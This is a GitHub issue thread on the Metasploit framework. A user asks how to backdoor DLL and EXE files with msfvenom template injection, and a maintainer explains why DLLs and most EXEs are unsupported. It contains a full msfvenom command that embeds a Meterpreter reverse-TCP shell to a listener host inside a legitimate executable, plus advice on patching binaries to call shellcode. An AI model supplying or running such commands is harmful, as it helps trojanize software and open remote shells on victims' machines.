Backdooring Dll Files

[gabriel-maxx]

When I try to use a dll as a template, I get this message "Template injection unsupported for x64 DLLs" when I use an "exe" instead of the dll, it works perfectly, is there any alternative to make it work on dlls?

[gwillcox-r7]

Hi there,

I added in that message as the code as it stands right now does not support template injection for DLLs. It was originally intended to work with EXE files and we were getting errors with people trying it out on DLL files and it ended up failing cause it wasn't designed to work on these files.

Its potentially possible to make this work on DLLs with a lot of additional refactoring work to the libraries that we use, however as of right now we don't have this capability to the best of my knowledge. I forget exactly what I found was different but I think part of it boiled down to the way entry points are a little more flexible in DLLs which would have meant handling these extra conditions correctly.

If you need a quick solution though, you could likely use OllyDBG or Immunity Debugger, edit the code to make a call to your shellcode, execute the original instructions you overwrote and then continue execution. I won't go into more details on this though as there are plenty of guides online as to how to do this if you are so inclined, but you will need some assembly knowledge and knowledge of your tool of choice for editing the binary.

[gabriel-maxx]

Hi there,

I added in that message as the code as it stands right now does not support template injection for DLLs. It was originally intended to work with EXE files and we were getting errors with people trying it out on DLL files and it ended up failing cause it wasn't designed to work on these files.

Its potentially possible to make this work on DLLs with a lot of additional refactoring work to the libraries that we use, however as of right now we don't have this capability to the best of my knowledge. I forget exactly what I found was different but I think part of it boiled down to the way entry points are a little more flexible in DLLs which would have meant handling these extra conditions correctly.

If you need a quick solution though, you could likely use OllyDBG or Immunity Debugger, edit the code to make a call to your shellcode, execute the original instructions you overwrote and then continue execution. I won't go into more details on this though as there are plenty of guides online as to how to do this if you are so inclined, but you will need some assembly knowledge and knowledge of your tool of choice for editing the binary.

thanks for replying

you said you added this message because some people were having issues, but in all dlls did you mean ? Did some people succeed or did all experiments fail? if a dll is built in debug mode, can it help with success or has nothing to do with it? how do i get back to the original state for my tests? what do i have to edit in which file? sorry for too many questions

[gwillcox-r7]

Basically the code in our framework for templates is designed to work only on EXE files and only those in some specific formats if I recall correctly. It does not work on DLL files at all and I actually added in code to raise warnings cause people kept trying to use DLLs as templates which our code does not support and they were raising issue tickets about it. I tried to update the code to make it more explicitly clear that we don't support using DLL files of any kind as templates at this point in time, only certain EXEs.

As for getting back to the original state for tests, going to have to be more specific than that. As for debug mode, that has no bearing on this or what it sounds like your trying to do beyond the fact that you'll have a few additional output statements potentially compiled into the final binary to support debugging.

As for what to edit in the file, I recommend you look up one of the many tutorials online on how to do this. I could explain here but honestly there are way better tutorials online and this isn't a good medium to explain it in full, plus others have done a better job of explaining this already than me.

[gabriel-maxx]

Basically the code in our framework for templates is designed to work only on EXE files and only those in some specific formats if I recall correctly. It does not work on DLL files at all and I actually added in code to raise warnings cause people kept trying to use DLLs as templates which our code does not support and they were raising issue tickets about it. I tried to update the code to make it more explicitly clear that we don't support using DLL files of any kind as templates at this point in time, only certain EXEs.

As for getting back to the original state for tests, going to have to be more specific than that. As for debug mode, that has no bearing on this or what it sounds like your trying to do beyond the fact that you'll have a few additional output statements potentially compiled into the final binary to support debugging.

As for what to edit in the file, I recommend you look up one of the many tutorials online on how to do this. I could explain here but honestly there are way better tutorials online and this isn't a good medium to explain it in full, plus others have done a better job of explaining this already than me.

thanks for the explanation but i have one last question

now talking about "exe" files I've used a lot of exe files as a template, they all worked perfectly more recently, I found this error:

"Error: E: COFF: cannot encode section .text: hardcoded address too short"

could you tell me how to solve this the easiest way if possible?

[gwillcox-r7]

Use a different EXE 😄 Basically its saying that one of the file segments may be too short or the address format is off. Without diving deeper its a bit hard to tell though.

[gabriel-maxx]

Use a different EXE 😄 Basically its saying that one of the file segments may be too short or the address format is off. Without diving deeper its a bit hard to tell though.

but i dont want to use another exe, actually this was happening to me when i used some windows xp files, on windows 7 onwards it doesnt happen i think it must be because the xp files are very small with a difference of 3mb. isn't there really a way to solve this? For example, if I want to use Windows 7 "explorer.exe" works fine, but Windows XP "explorer.exe" shows this message, what do I do?

[gabriel-maxx]

@gwillcox-r7 I have another kind of problem with "exe" files do you know how to solve this?

C:\Users\Administrador>msfvenom -x test.exe -k -p windows/x64/meterpreter_reverse_tcp lhost=192.168.1.99 lport=4444 -f exe R > test123.exe C:/metasploit-framework/embedded/lib/ruby/gems/2.7.0/gems/zeitwerk-2.4.2/lib/zeitwerk/kernel.rb:34: warning: Win32API is deprecated after Ruby 1.9.1; use fiddle directly instead Unable to load the EventMachine C extension; To use the pure-ruby reactor, require 'em/pure_ruby' [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Traceback (most recent call last): C:/metasploit-framework/bin/../embedded/framework/msfvenom: failed to allocate memory (NoMemoryError) 1: from C:/metasploit-framework/bin/../embedded/framework/msfvenom:475:in <main>' C:/metasploit-framework/bin/../embedded/framework/msfvenom:482:inrescue in

': undefined method `*' for nil:NilClass (NoMethodError)

C:\Users\Administrador>

[gwillcox-r7]

@NightRaidGamer I've explained before that the -x option doesn't work with EXE files, however in order to understand this better lets take a trip through the code as I think this will help us both understand the situation a bit more.

When you specify the -x option, this goes to https://github.com/rapid7/metasploit-framework/blob/master/msfvenom#L180-L182

Here we can see that opts[:template] option is set to whatever the value is that we specify.

We can also see the payload is generated at https://github.com/rapid7/metasploit-framework/blob/master/msfvenom#L477

This will then lead to https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/core/payload_generator.rb#L397

Which eventually leads to this line: https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/lib/msf/core/payload_generator.rb#L422

This will then lead to the following function: https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/core/payload_generator.rb#L458-L486

Note the call to generate_simple which is defined at https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/base/simple/payload.rb#L40

Within this file we can see https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/base/simple/payload.rb#L64-L69 takes in the template argument we provided earlier as the :template property of exeopts.

This is then used at https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/base/simple/payload.rb#L82

Here we can see the code in the following snippet is responsible for handling the generation of payloads for different file types: https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/util/exe.rb#L1994-L2035

In your case you selected exe as the format using the -f option so lets take a look at the two options here. https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/util/exe.rb#L2001-L2007

Looks like its either to_win64pe if the architecture was specified as x64, or to_win32pe. Lets look at their definitions.

https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/util/exe.rb#L223-L367

And the 64 bit version:

https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/util/exe.rb#L600-L623

As you can see the code is very different. In the case of the 64 bit version of the code we try to inject into an existing segment if one is specified, otherwise we append a new segment in the code and inject into that.

The x86 code on the other hand, attempts to do a lot more memory allocation etc. My guess is that since you didn't specify the architecture with the -a option as being x64, its possible it may have gotten confused and used the wrong code. In any case I believe the template code was originally designed to handle DLLs not EXEs. Yes the terminology says executable files but if you dig deeper you'll see it expects exports.

This can be seen if we follow the x64 code at https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/util/exe.rb#L604-L613

This is called as we specified the -k option to keep the current executable's behavior. This will lead to the code starting at https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/core/exe/segment_injector.rb#L7.

We can see the start of the generate_pe code at https://github.com/rapid7/metasploit-framework/blob/958b0806dfc090bbaa064c8eadd2b4ff730c0932/lib/msf/core/exe/segment_injector.rb#L151-L160 where we see that we expect the file to have exports to inject into. Most executables will not have any exports available to inject into, and why would they? They aren't DLLs which whilst having the same format as EXEs (aka they are both PE files), they aren't expected to provide services to others and therefore they are not expected to have any exports.

Hopefully that answers your question at least in terms of the thinking behind some of this. You may be able to get around this by changing some of your options but fundamentally the code in its current state isn't meant to support using EXE files as templates for injection, and support for such a feature would likely require fundamentally reworking how some of the generator code works, which is going to potentially take quite a bit of time and effort to make sure we do it correctly, since many other features in Metasploit depend on this code working correctly.

[github-actions[bot]]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[gwillcox-r7]

Closing as no response and this is not the way the tool was designed to be used in its current state.